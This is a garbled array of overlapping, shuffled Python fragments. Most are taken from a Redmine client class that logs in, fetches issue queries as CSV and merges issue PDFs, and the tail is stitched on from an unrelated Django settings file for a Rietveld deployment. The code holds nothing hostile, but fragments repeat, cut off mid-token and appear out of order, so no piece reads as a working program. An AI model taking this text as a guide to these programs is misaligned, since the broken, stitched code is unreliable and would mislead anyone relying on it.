"\"module for full pdf functionality.\" class Connection(object): def __init__(self,base_url): \"\"\" Creates a redmine",
"# Provides a 'Connection' class that interacts with a redmine instance to #",
"urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login handshake. If username & passwd are not given",
"Constructs and opens an url relative to the base of this connection. \"\"\"",
"if nissues == 0: print \"[query returned no issues -\", print \" skipping",
"for val in issues[0]] issues = issues[1:] print \"[query returned %d issues]\" %",
"fields = [self.__format_field_name(val) for val in issues[0]] issues = issues[1:] print \"[query returned",
"\"\"\" Constructs and opens a project url relative to the base of this",
"params = {} params['query_id'] = str(query_id) issues_url += \"?\" + urllib.urlencode(params) print \"[executing",
"results from redmine queries. # import urllib2,urllib,csv,getpass,warnings from collections import namedtuple from Issue",
"% i.id idata = i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p))",
"def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of all issues returned by a query and",
"f.read() f.close() split_key = '<input name=\"authenticity_token\" type=\"hidden\" value=\"' data = data.split(split_key)[1] atok= data.split('\"",
"import urllib2,urllib,csv,getpass,warnings from collections import namedtuple from Issue import * try: import pyPdf",
"f = self.opener.open(self.urls[\"login\"]) data = f.read() f.close() split_key = '<input name=\"authenticity_token\" type=\"hidden\" value=\"'",
"# author: <NAME> <<EMAIL>> # created: 6/1/2010 # purpose: # Provides a 'Connection'",
"def login(self,uname=None,passwd=None): \"\"\" Login handshake. If username & passwd are not given this",
"Issues holding the results. You can specify which class is used to wrap",
"which class is used to wrap returned issues via 'iclass'. \"\"\" issues_url =",
"csv_reader = csv.reader(f) issues = [ row for row in csv_reader] fields =",
"pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for i in issues: print \"[downloading",
"passwd are not given this function asks for them via stdout/stdin. \"\"\" if",
"connection object to redmine instance at the given url. \"\"\" self.urls = {}",
"pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\")) def",
"def open_project_url(self,project,url): \"\"\" Constructs and opens a project url relative to the base",
"issues[0]] issues = issues[1:] print \"[query returned %d issues]\" % len(issues) IssueTuple =",
"fields,issues = self.fetch_issues(project,query_id) nissues = len(issues) if nissues == 0: print \"[query returned",
"warnings from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for i in issues:",
"pdf functionality.\" class Connection(object): def __init__(self,base_url): \"\"\" Creates a redmine connection object to",
"for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name):",
"passwd = getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data = f.read() f.close() split_key = '<input",
"for row in csv_reader] fields = [self.__format_field_name(val) for val in issues[0]] issues =",
"data.split(split_key)[1] atok= data.split('\" />')[0] params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params) f",
"if passwd is None: passwd = getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data = f.read()",
"\"\"\" if uname is None: uname = raw_input(\"username:\") if passwd is None: passwd",
"% issues_url f = self.opener.open(issues_url) csv_reader = csv.reader(f) issues = [ row for",
"purpose: # Provides a 'Connection' class that interacts with a redmine instance to",
"the given url. \"\"\" self.urls = {} if base_url[-1] == \"/\": base_url =",
"author: <NAME> <<EMAIL>> # created: 6/1/2010 # purpose: # Provides a 'Connection' class",
"functionality.\" class Connection(object): def __init__(self,base_url): \"\"\" Creates a redmine connection object to redmine",
"Connection.py # author: <NAME> <<EMAIL>> # created: 6/1/2010 # purpose: # Provides a",
"params = urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params) data = f.readlines() f.close() def open_base_url(self,url):",
"fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query and returns a set of Issues holding the",
"opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper that makes",
"[self.__format_field_name(val) for val in issues[0]] issues = issues[1:] print \"[query returned %d issues]\"",
"f.readlines() f.close() def open_base_url(self,url): \"\"\" Constructs and opens an url relative to the",
"connection. \"\"\" url = \"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs",
"params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params = urllib.urlencode(params) f = self.opener.open(self.urls[\"login\"], params) data",
"= getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data = f.read() f.close() split_key = '<input name=\"authenticity_token\"",
"== 0: print \"[query returned no issues -\", print \" skipping creation of",
"pyPdf.PdfFileWriter() for i in issues: print \"[downloading issue %s]\" % i.id idata =",
"+ urllib.urlencode(params) print \"[executing query: %s]\" % issues_url f = self.opener.open(issues_url) csv_reader =",
"of '%s']\" % output_file return # try to ingore some deprecation warnings from",
"'%s']\" % output_file return # try to ingore some deprecation warnings from pyPdf",
"skipping creation of '%s']\" % output_file return # try to ingore some deprecation",
"no issues -\", print \" skipping creation of '%s']\" % output_file return #",
"required for creating a 'namedtuple' object. \"\"\" name = name.lower().replace(\" \",\"_\") if name",
"url relative to the base of this connection. \"\"\" url = \"%s/%s\" %",
"= base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"] = \"%s/login/\" % base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())",
"in issues] return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of all issues returned",
"open_project_url(self,project,url): \"\"\" Constructs and opens a project url relative to the base of",
"self.opener.open(issues_url) csv_reader = csv.reader(f) issues = [ row for row in csv_reader] fields",
"redmine queries. # import urllib2,urllib,csv,getpass,warnings from collections import namedtuple from Issue import *",
">= 0: params = {} params['query_id'] = str(query_id) issues_url += \"?\" + urllib.urlencode(params)",
"%s]\" % output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper that makes sure field names",
"sure field names comply w/ rules required for creating a 'namedtuple' object. \"\"\"",
"creating a 'namedtuple' object. \"\"\" name = name.lower().replace(\" \",\"_\") if name == \"#\":",
"self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\" Login handshake. If username & passwd are",
"query and returns a set of Issues holding the results. You can specify",
"\"\"\" name = name.lower().replace(\" \",\"_\") if name == \"#\": name = \"id\" name",
"interacts with a redmine instance to # extract results from redmine queries. #",
"single output pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id) nissues = len(issues) if nissues ==",
"base_url[-1] == \"/\": base_url = base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"] = \"%s/login/\" %",
"\"\"\" Creates a redmine connection object to redmine instance at the given url.",
"print \"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\" Helper that makes sure",
"relative to the base of this connection. \"\"\" url = \"%s/projects/%s/%s\" % (self.urls[\"base\"]",
"def __format_field_name(self,name): \"\"\" Helper that makes sure field names comply w/ rules required",
"full pdf functionality.\" class Connection(object): def __init__(self,base_url): \"\"\" Creates a redmine connection object",
"comply w/ rules required for creating a 'namedtuple' object. \"\"\" name = name.lower().replace(\"",
"to redmine instance at the given url. \"\"\" self.urls = {} if base_url[-1]",
"that interacts with a redmine instance to # extract results from redmine queries.",
"= {} if base_url[-1] == \"/\": base_url = base_url[:-1] self.urls[\"base\"] = base_url self.urls[\"login\"]",
"value=\"' data = data.split(split_key)[1] atok= data.split('\" />')[0] params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params",
"a redmine connection object to redmine instance at the given url. \"\"\" self.urls",
"len(issues) if nissues == 0: print \"[query returned no issues -\", print \"",
"= pyPdf.PdfFileReader(idata) for p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\"))",
"\"?\" + urllib.urlencode(params) print \"[executing query: %s]\" % issues_url f = self.opener.open(issues_url) csv_reader",
"returned no issues -\", print \" skipping creation of '%s']\" % output_file return",
"opens a project url relative to the base of this connection. \"\"\" url",
"a query and returns a set of Issues holding the results. You can",
"= base_url self.urls[\"login\"] = \"%s/login/\" % base_url self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) def login(self,uname=None,passwd=None): \"\"\"",
"print \"[query returned no issues -\", print \" skipping creation of '%s']\" %",
"print \" skipping creation of '%s']\" % output_file return # try to ingore",
"for i in issues] return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of all",
"= csv.reader(f) issues = [ row for row in csv_reader] fields = [self.__format_field_name(val)",
"class is used to wrap returned issues via 'iclass'. \"\"\" issues_url = \"%s/projects/%s/issues.csv\"",
"= self.opener.open(self.urls[\"login\"], params) data = f.readlines() f.close() def open_base_url(self,url): \"\"\" Constructs and opens",
"<filename>src/tools/dev/redmine/pyrmine/src/Connection.py<gh_stars>0 #!/usr/bin/env python # # file: Connection.py # author: <NAME> <<EMAIL>> # created:",
"self.opener.open(self.urls[\"login\"]) data = f.read() f.close() split_key = '<input name=\"authenticity_token\" type=\"hidden\" value=\"' data =",
"[iclass(IssueTuple(*i),self) for i in issues] return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs of",
"this connection. \"\"\" url = \"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue):",
"file: Connection.py # author: <NAME> <<EMAIL>> # created: 6/1/2010 # purpose: # Provides",
"data = data.split(split_key)[1] atok= data.split('\" />')[0] params = dict(username=uname, password=<PASSWORD>, authenticity_token=atok) params =",
"f = self.opener.open(issues_url) csv_reader = csv.reader(f) issues = [ row for row in",
"results. You can specify which class is used to wrap returned issues via",
"(self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs and opens a project url relative",
"= namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self) for i in issues] return fields,issues def save_query_pdf(self,project,query_id,output_file):",
"\"%s/projects/%s/%s\" % (self.urls[\"base\"] ,project) return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query and",
"to # extract results from redmine queries. # import urllib2,urllib,csv,getpass,warnings from collections import",
"a project url relative to the base of this connection. \"\"\" url =",
"return self.opener.open(url) def fetch_issues(self,project,query_id=-1,iclass=Issue): \"\"\" Executes a query and returns a set of",
"url. \"\"\" self.urls = {} if base_url[-1] == \"/\": base_url = base_url[:-1] self.urls[\"base\"]",
"getpass.getpass(\"password:\") f = self.opener.open(self.urls[\"login\"]) data = f.read() f.close() split_key = '<input name=\"authenticity_token\" type=\"hidden\"",
"url = \"%s/%s\" % (self.urls[\"base\"],url) return self.opener.open(url) def open_project_url(self,project,url): \"\"\" Constructs and opens",
"deprecation warnings from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for i in",
"name.lower().replace(\" \",\"_\") if name == \"#\": name = \"id\" name = name.replace(\"%\",\"percent\") return",
"#!/usr/bin/env python # # file: Connection.py # author: <NAME> <<EMAIL>> # created: 6/1/2010",
"def open_base_url(self,url): \"\"\" Constructs and opens an url relative to the base of",
"'pyPdf' \", print \"module for full pdf functionality.\" class Connection(object): def __init__(self,base_url): \"\"\"",
"val in issues[0]] issues = issues[1:] print \"[query returned %d issues]\" % len(issues)",
"at the given url. \"\"\" self.urls = {} if base_url[-1] == \"/\": base_url",
"str(query_id) issues_url += \"?\" + urllib.urlencode(params) print \"[executing query: %s]\" % issues_url f",
"handshake. If username & passwd are not given this function asks for them",
"for them via stdout/stdin. \"\"\" if uname is None: uname = raw_input(\"username:\") if",
"issues returned by a query and combines them into a single output pdf.",
"print \"[downloading issue %s]\" % i.id idata = i.fetch_pdf_buffer() ipdf = pyPdf.PdfFileReader(idata) for",
"issues = [iclass(IssueTuple(*i),self) for i in issues] return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects",
"for i in issues: print \"[downloading issue %s]\" % i.id idata = i.fetch_pdf_buffer()",
"= [iclass(IssueTuple(*i),self) for i in issues] return fields,issues def save_query_pdf(self,project,query_id,output_file): \"\"\" Collects pdfs",
"query and combines them into a single output pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id)",
"url relative to the base of this connection. \"\"\" url = \"%s/projects/%s/%s\" %",
"= len(issues) if nissues == 0: print \"[query returned no issues -\", print",
"return # try to ingore some deprecation warnings from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\")",
"= {} params['query_id'] = str(query_id) issues_url += \"?\" + urllib.urlencode(params) print \"[executing query:",
"# created: 6/1/2010 # purpose: # Provides a 'Connection' class that interacts with",
"print \"[query returned %d issues]\" % len(issues) IssueTuple = namedtuple(\"Issue\",fields) issues = [iclass(IssueTuple(*i),self)",
"p in range(ipdf.numPages): opdf.addPage(ipdf.getPage(p)) print \"[creating %s]\" % output_file opdf.write(file(output_file,\"wb\")) def __format_field_name(self,name): \"\"\"",
"object to redmine instance at the given url. \"\"\" self.urls = {} if",
"= name.lower().replace(\" \",\"_\") if name == \"#\": name = \"id\" name = name.replace(\"%\",\"percent\")",
"returns a set of Issues holding the results. You can specify which class",
"pdfs of all issues returned by a query and combines them into a",
"6/1/2010 # purpose: # Provides a 'Connection' class that interacts with a redmine",
"pdf. \"\"\" fields,issues = self.fetch_issues(project,query_id) nissues = len(issues) if nissues == 0: print",
"not given this function asks for them via stdout/stdin. \"\"\" if uname is",
"Connection(object): def __init__(self,base_url): \"\"\" Creates a redmine connection object to redmine instance at",
"split_key = '<input name=\"authenticity_token\" type=\"hidden\" value=\"' data = data.split(split_key)[1] atok= data.split('\" />')[0] params",
"try to ingore some deprecation warnings from pyPdf with warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf =",
"name = name.lower().replace(\" \",\"_\") if name == \"#\": name = \"id\" name =",
"warnings.catch_warnings(): warnings.simplefilter(\"ignore\") opdf = pyPdf.PdfFileWriter() for i in issues: print \"[downloading issue %s]\""
] |
[
"Log.info(\"Logging has been reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\" Configuration hook which reconfigures the",
"logging into the tests-specific log folder. Accesses the private method of `logger` to",
"from _pytest.config import Config as PyTestConfig from dof_discord_bot.src.logger import Log from dof_discord_bot.src import",
"current process to ensure clean exit in case of errors when stopping the",
"PyTestConfig from dof_discord_bot.src.logger import Log from dof_discord_bot.src import logger def _reconfigure_logging(): \"\"\" Helper",
"unconfiguration hook finished successfully\") # An explicit \"kill\" of current process to ensure",
"the private method of `logger` to avoid repeating the code. \"\"\" # Clear",
"Configuration hook which reconfigures the logging and calls the global setup function. \"\"\"",
"the tests-specific log folder. Accesses the private method of `logger` to avoid repeating",
"logging from . import helpers from _pytest.config import Config as PyTestConfig from dof_discord_bot.src.logger",
"_reconfigure_logging(): \"\"\" Helper function used to redirect all logging into the tests-specific log",
"_pytest.config import Config as PyTestConfig from dof_discord_bot.src.logger import Log from dof_discord_bot.src import logger",
"PyTestConfig): \"\"\" Configuration hook which calls the global teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest",
"Configuration hook which calls the global teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook",
"explicit \"kill\" of current process to ensure clean exit in case of errors",
"Clear existing logs for file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection",
"pytest-specific hooks. \"\"\" import os import logging from . import helpers from _pytest.config",
"calls the global teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook finished successfully\") #",
"Log.info(\"Pytest unconfiguration hook finished successfully\") # An explicit \"kill\" of current process to",
"import os import logging from . import helpers from _pytest.config import Config as",
"to ensure clean exit in case of errors when stopping the code os._exit(0)",
"Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\" Configuration hook",
"helpers from _pytest.config import Config as PyTestConfig from dof_discord_bot.src.logger import Log from dof_discord_bot.src",
"Log.info(\"Pytest configuration hook finished successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook which calls",
"used to redirect all logging into the tests-specific log folder. Accesses the private",
"def _reconfigure_logging(): \"\"\" Helper function used to redirect all logging into the tests-specific",
"process to ensure clean exit in case of errors when stopping the code",
"for file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger",
"successfully\") # An explicit \"kill\" of current process to ensure clean exit in",
"hooks. \"\"\" import os import logging from . import helpers from _pytest.config import",
"pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook which calls the global teardown function. \"\"\" helpers.teardown()",
"all logging into the tests-specific log folder. Accesses the private method of `logger`",
"PyTestConfig): \"\"\" Configuration hook which reconfigures the logging and calls the global setup",
"to redirect all logging into the tests-specific log folder. Accesses the private method",
"logs for file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR)",
"\"\"\" # Clear existing logs for file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name))",
"\"\"\" Configuration hook which calls the global teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration",
"setup function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook finished successfully\") def pytest_unconfigure(config: PyTestConfig):",
"method of `logger` to avoid repeating the code. \"\"\" # Clear existing logs",
"the logging and calls the global setup function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration",
"import Config as PyTestConfig from dof_discord_bot.src.logger import Log from dof_discord_bot.src import logger def",
"to avoid repeating the code. \"\"\" # Clear existing logs for file_name in",
"which calls the global teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook finished successfully\")",
"os import logging from . import helpers from _pytest.config import Config as PyTestConfig",
"the global teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook finished successfully\") # An",
"finished successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook which calls the global teardown",
"logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\" Configuration",
"configuration hook finished successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook which calls the",
"global teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook finished successfully\") # An explicit",
"teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook finished successfully\") # An explicit \"kill\"",
"code. \"\"\" # Clear existing logs for file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR,",
"PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\"",
"\"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook finished successfully\") # An explicit \"kill\" of current",
"\"kill\" of current process to ensure clean exit in case of errors when",
"hook which reconfigures the logging and calls the global setup function. \"\"\" _reconfigure_logging()",
"log folder. Accesses the private method of `logger` to avoid repeating the code.",
"hook finished successfully\") # An explicit \"kill\" of current process to ensure clean",
"def pytest_configure(config: PyTestConfig): \"\"\" Configuration hook which reconfigures the logging and calls the",
"noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\") def pytest_configure(config: PyTestConfig):",
"pytest_configure(config: PyTestConfig): \"\"\" Configuration hook which reconfigures the logging and calls the global",
"# noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\") def pytest_configure(config:",
"function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook finished successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\"",
"os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging",
"tests-specific log folder. Accesses the private method of `logger` to avoid repeating the",
"the code. \"\"\" # Clear existing logs for file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"):",
"global setup function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook finished successfully\") def pytest_unconfigure(config:",
"in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\")",
"reconfigures the logging and calls the global setup function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest",
"\"\"\" Helper function used to redirect all logging into the tests-specific log folder.",
"logger def _reconfigure_logging(): \"\"\" Helper function used to redirect all logging into the",
"_reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook finished successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook",
"An explicit \"kill\" of current process to ensure clean exit in case of",
"and calls the global setup function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook finished",
"Configuration module containing pytest-specific hooks. \"\"\" import os import logging from . import",
"file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\") def",
"helpers.teardown() Log.info(\"Pytest unconfiguration hook finished successfully\") # An explicit \"kill\" of current process",
"import helpers from _pytest.config import Config as PyTestConfig from dof_discord_bot.src.logger import Log from",
"logging and calls the global setup function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook",
"file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger =",
"logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\" Configuration hook which reconfigures",
"successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook which calls the global teardown function.",
"# An explicit \"kill\" of current process to ensure clean exit in case",
"function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook finished successfully\") # An explicit \"kill\" of",
"from dof_discord_bot.src.logger import Log from dof_discord_bot.src import logger def _reconfigure_logging(): \"\"\" Helper function",
"import logging from . import helpers from _pytest.config import Config as PyTestConfig from",
"dof_discord_bot.src import logger def _reconfigure_logging(): \"\"\" Helper function used to redirect all logging",
"def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook which calls the global teardown function. \"\"\"",
"import Log from dof_discord_bot.src import logger def _reconfigure_logging(): \"\"\" Helper function used to",
"Log from dof_discord_bot.src import logger def _reconfigure_logging(): \"\"\" Helper function used to redirect",
"calls the global setup function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook finished successfully\")",
"import logger def _reconfigure_logging(): \"\"\" Helper function used to redirect all logging into",
"\"\"\" Configuration module containing pytest-specific hooks. \"\"\" import os import logging from .",
"\"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook finished successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration",
"hook finished successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook which calls the global",
"os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\")",
"hook which calls the global teardown function. \"\"\" helpers.teardown() Log.info(\"Pytest unconfiguration hook finished",
"existing logs for file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember",
"finished successfully\") # An explicit \"kill\" of current process to ensure clean exit",
"\"\"\" import os import logging from . import helpers from _pytest.config import Config",
"repeating the code. \"\"\" # Clear existing logs for file_name in os.listdir(helpers.LOG_DIR): if",
". import helpers from _pytest.config import Config as PyTestConfig from dof_discord_bot.src.logger import Log",
"= logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\" Configuration hook which",
"private method of `logger` to avoid repeating the code. \"\"\" # Clear existing",
"Helper function used to redirect all logging into the tests-specific log folder. Accesses",
"folder. Accesses the private method of `logger` to avoid repeating the code. \"\"\"",
"of current process to ensure clean exit in case of errors when stopping",
"the global setup function. \"\"\" _reconfigure_logging() helpers.setup() Log.info(\"Pytest configuration hook finished successfully\") def",
"has been reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\" Configuration hook which reconfigures the logging",
"dof_discord_bot.src.logger import Log from dof_discord_bot.src import logger def _reconfigure_logging(): \"\"\" Helper function used",
"# Clear existing logs for file_name in os.listdir(helpers.LOG_DIR): if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) #",
"into the tests-specific log folder. Accesses the private method of `logger` to avoid",
"avoid repeating the code. \"\"\" # Clear existing logs for file_name in os.listdir(helpers.LOG_DIR):",
"Accesses the private method of `logger` to avoid repeating the code. \"\"\" #",
"which reconfigures the logging and calls the global setup function. \"\"\" _reconfigure_logging() helpers.setup()",
"if file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has",
"module containing pytest-specific hooks. \"\"\" import os import logging from . import helpers",
"Config as PyTestConfig from dof_discord_bot.src.logger import Log from dof_discord_bot.src import logger def _reconfigure_logging():",
"as PyTestConfig from dof_discord_bot.src.logger import Log from dof_discord_bot.src import logger def _reconfigure_logging(): \"\"\"",
"from dof_discord_bot.src import logger def _reconfigure_logging(): \"\"\" Helper function used to redirect all",
"of `logger` to avoid repeating the code. \"\"\" # Clear existing logs for",
"file_name.endswith(\".log\"): os.remove(os.path.join(helpers.LOG_DIR, file_name)) # noinspection PyProtectedMember logger._configure(log_directory=helpers.LOG_DIR) Log._logger = logging.getLogger(\"dof-discord-bot\") Log.info(\"Logging has been",
"function used to redirect all logging into the tests-specific log folder. Accesses the",
"been reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\" Configuration hook which reconfigures the logging and",
"\"\"\" Configuration hook which reconfigures the logging and calls the global setup function.",
"from . import helpers from _pytest.config import Config as PyTestConfig from dof_discord_bot.src.logger import",
"containing pytest-specific hooks. \"\"\" import os import logging from . import helpers from",
"redirect all logging into the tests-specific log folder. Accesses the private method of",
"helpers.setup() Log.info(\"Pytest configuration hook finished successfully\") def pytest_unconfigure(config: PyTestConfig): \"\"\" Configuration hook which",
"reconfigured\") def pytest_configure(config: PyTestConfig): \"\"\" Configuration hook which reconfigures the logging and calls",
"`logger` to avoid repeating the code. \"\"\" # Clear existing logs for file_name"
] |
[
"= ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024 # 500K RIETVELD_REVISION =",
"import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', )",
"systems. # If running in a Windows environment this must be set to",
"images. Make sure to use a # trailing slash. # Examples: \"http://foo.com/media/\", \"/media/\".",
"in mind, that CSRF protection is DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware',",
"stderr=subprocess.PIPE) out, err = p.communicate() RIETVELD_REVISION = out.strip() p.wait() del p, out, err",
"# Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/' # URL prefix for admin media",
"<reponame>psf/bpo-rietveld # Django settings for django_gae2django project. # NOTE: Keep the settings.py in",
"not all choices may be available on all operating systems. # If running",
"'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind, that CSRF protection is DISABLED in this",
"this one! import os, ConfigParser, re, subprocess DEBUG = False TEMPLATE_DEBUG = DEBUG",
"= 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms',",
"= _c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms', 'port') # Local time zone for this",
"MEDIA_ROOT = '' # URL that handles the media served from MEDIA_ROOT. Make",
"(optional in other cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/' # URL",
"the internationalization machinery. USE_I18N = True # Absolute path to the directory that",
